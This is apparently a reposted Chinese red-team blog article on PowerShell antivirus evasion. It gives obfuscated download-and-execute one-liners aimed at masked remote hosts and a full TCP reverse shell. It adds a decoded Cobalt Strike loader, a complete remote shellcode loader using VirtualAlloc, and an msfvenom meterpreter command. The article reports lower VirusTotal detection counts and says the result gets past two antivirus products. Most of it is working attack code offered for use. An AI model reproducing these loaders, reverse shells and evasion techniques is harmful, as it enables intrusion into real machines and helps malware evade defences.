12

【红蓝对抗】Powershell免杀从入门到实践

 3 years ago
source link: https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA%3D%3D&%3Bmid=2247491214&%3Bidx=1&%3Bsn=b201b9327a83b77bcbd1c4a5a616f4e2
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Ifmy2mI.png!mobile前言

在之前发布的一篇 渗透技巧之Powershell实战思路中,学习了powershell在对抗Anti-Virus的方便和强大。团队免杀系列又有了远控免杀从入门到实践(6)-代码篇-Powershell更是拓宽了自己的认知。这里继续学习powershell在对抗Anti-Virus的骚姿势。

绕过执行策略

powershell 可以通过绕过执行策略来执行恶意程序。

而从文件是否落地可以简单分为落地的bypass、不落地的bypass。

以落地为例

powershell -ExecutionPolicy bypass -File  a.ps1

以不落地为例,如我们熟知的IEX

powershell  -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')"

从免杀上来说,查杀比较严格的当然是不落地文件的这种方式。

我们可以将两种方式混用来实现简单的bypass

如:

echo Invoke-Expression(new-object net.webclient).downloadstring('http://xxx.xxx.xxx/a') | powershell -

如:

powershell -c "IEX(New-Object Net.WebClient).DownloadString('d://a')"

简单混淆

powershell混淆姿势有很多,如字符串转换、变量转换、编码、压缩等等。根据powershell语言的特性来混淆代码,从而绕过Anti-Virus。

处理powershell

利用cmd的混淆以不同的姿势调用powershell

如利用win10环境变量截取出powershell

%psmodulepath:~24,10%

处理IEX

为IEX设置别名

powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')

处理downloadstring

使用转义符

"Down`l`oadString"

处理http

以变量的方式拆分http

powershell "$a='((new-object net.webclient).downloadstring(''ht';$b='tp://109.xx.xx.xx/a''))';IEX ($a+$b)"

以中文单引号分割

ht‘+’tp

基于以上混淆基础,就可以实现多种bypass的姿势

如:

cmd /c "set p1=power&& set p2=shell&& cmd /c echo (New-Object Net.WebClient).DownloadString("http://109.xx.xx/a") ^|%p1%%p2% -"

如:

echo Invoke-Expression (New-Object "NeT.WebClient")."Down`l`oadString"('h'+'ttp://106.xx.xx.xx/a') | powershell -

如:

chcp 1200 & powershell  -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘+’tp://xx.xx.xx/a')"

这里再分享一个小技巧:

在测试对抗某些杀毒软件时,发现对cmd下操作查杀比较严格,相对来说powershell环境下更容易bypass。

而实际中可能更多的默认为cmd。我们可以先用socket一句话反弹powershell环境,再执行后续操作。

客户端执行命令:

powershell  -c "$client = New-Object Net.Sockets.TCPClient('106.xxx.xxx.xxx',9090);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );
$sendata =$sendback+'PS >';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);
$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);
$stream.Flush()};$client.Close()"

服务端nc监听即可:

nc -lvp 9090

以此来迂回得达到我们的目的。

分析CobaltStrike powershell command

这里使用CobaltStrike 4.1来生成payload

IzYnquM.jpg!mobile

访问83端口的a文件,获取payload代码。

查看代码,可以看到先使用base64解码一段字符串,又通过 IO.Compression.GzipStream 解压缩,并将代码进行IEX执行。

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("xxx"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

修改IEX为echo,保存为aaaa.ps1文件,运行得到源码。

powershell -ExecutionPolicy bypass -File  aaaaa.ps1 >> old.txt

qeEJv2U.jpg!mobile

可以看出大概分为 func_get_delegate_typefunc_get_proc_address 两个函数,然后是一个base64解码的函数,且将byte数组进行了xor的异或操作。然后分配一些内存,将有效负载复制到分配的内存空间中。最后判断计算机架构并执行。

那么关键位置就应该是这串base编码的数据了。事实上,这段数据是bin文件编码得来的。

我们将该byte数组保存为new.bin文件。

$enc=[System.Convert]::FromBase64String('base64编码字符串')
for ($x = 0; $x -lt $enc.Count; $x++) {
$enc[$x] = $enc[$x] -bxor 35
}
$infile = [System.IO.File]::WriteAllBytes("new.bin",$enc)

而后修改为读取new.bin文件内容到内存后再上线。

[Byte[]]$var_code = [System.IO.File]::ReadAllBytes('new.bin')

其余代码未修改。

eAFN736.jpg!mobile

执行后可正常上线。

放入VT查杀一下11/59

ziERZbZ.jpg!mobile

这时候我们就得到了powershell版的一个加载器,继续尝试修改该加载器本身的一些特征。

func_get_delegate_typefunc_get_proc_address 两个函数重命名替换,对函数里面的一些变量进行重新定义

重命名 $DoIt$aaaa

修改IEX为I`EX

修改Invoke为Inv'+'oke

替换 $var_code$acode

放入VT再次查杀2/58

rEVzEzE.jpg!mobile

powershell加载器

上面的脚本通过读取new.bin中的字节数组并在内存执行从而成功使cobalt strike上线。

那同样可以从远程文件读取shellcode,并加载到内存执行,来实现payload无落地。

加载器代码如下:

Set-StrictMode -Version 2

function func_get_delegate_type_new {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}

function func_get_proc_address_new {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()
$var_unsafe_native_methods_news = ($var_unsafe_native_methods | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

If ([IntPtr]::size -eq 8) {
[Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer, $acode.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)

}

CobaltStrike生成payload.bin文件时,注意勾选x64。

NRnEzuA.jpg!mobile

将该payload.bin文件放置在远程服务器上,powershell执行bypass操作。

powershell -ExecutionPolicy bypass -File old.ps1 http://106.xx.xx.xx/payload.bin

CobaltStrike正常上线。

metasploit 也是同样的道理。使用msfvenom生成raw文件,看看加载器是否通用。

生成raw木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.26 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 -o /var/www/html/shell.bin

powershell直接利用加载器加载该bin文件。

powershell -ExecutionPolicy bypass -File a.ps1 http://10.211.55.26/shell.bi

metasploit 也可以正常上线。

QfiQf2E.jpg!mobile

powershell转exe

在修改了加载器之后,我们还可以通过powershell代码将其加载器转换为exe程序。

借助Win-PS2EXE项目,通过ps2exe.ps1脚本将加载器转为exe文件。更方便实战中使用。

powershell.exe -ExecutionPolicy bypass  -command "&'.\ps2exe.ps1' -inputFile 'old.ps1' -outputFile 'aaa.exe'"

查杀率5/70

FZbER33.jpg!mobile

测试可过360、火绒。

RF7F73n.jpg!mobile

总结

利用cmd、powershell语法混淆实现了bypass;

简单分析CobaltStrike powershell payload 获得powershell版本的shellcode加载器;

利用Win-PS2EXE项目转换为exe更方便实际利用。

参考资料

https://evi1.cn/post/powershell-bypass-2/
https://rootrain.me/2020/02/29/%E5%86%85%E7%BD%91%E9%98%B2%E5%BE%A1%E8%A7%84%E9%81%BF(%E4%BA%8C)-%E5%91%BD%E4%BB%A4%E8%A1%8C%E6%B7%B7%E6%B7%86/#0x04-%E5%9E%83%E5%9C%BE%E5%88%86%E9%9A%94%E7%AC%A6
https://www.anquanke.com/post/id/86637

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。

Rrmu2aU.gif!mobile


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK